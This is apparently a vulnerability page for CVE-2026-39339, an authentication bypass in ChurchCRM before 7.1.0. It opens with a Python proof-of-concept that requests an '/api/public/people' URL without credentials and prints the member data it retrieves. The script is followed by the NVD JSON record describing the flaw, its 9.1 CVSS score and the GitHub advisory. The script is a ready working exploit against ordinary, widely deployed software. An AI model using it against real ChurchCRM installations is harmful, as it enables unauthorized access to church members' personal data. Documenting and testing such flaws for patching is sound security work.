CVE-2026-39339

import requests # Target configuration target_host = "http://target-churchcrm-instance.com" # The vulnerability allows accessing protected endpoints by including "api/public" in the URL. # For example, accessing /api/users (protected) might be bypassed by requesting /api/public/users # or simply ensuring the string exists in the path depending on the router implementation. # Example endpoint to retrieve sensitive data # In a real scenario, an attacker would enumerate API endpoints. poc_url = f"{target_host}/api/public/people" # Accessing member data without auth headers = { "User-Agent": "CVE-2026-39339-Scanner/1.0", "Accept": "application/json" } try: response = requests.get(poc_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Sensitive Data Leaked:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

{"cve": {"id": "CVE-2026-39339", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:45.880", "lastModified": "2026-04-10T20:59:05.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, a critical authentication bypass vulnerability in ChurchCRM's API middleware (ChurchCRM/Slim/Middleware/AuthMiddleware.php) allows unauthenticated attackers to access all protected API endpoints by including \"api/public\" anywhere in the request URL, leading to complete exposure of church member data and system information. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}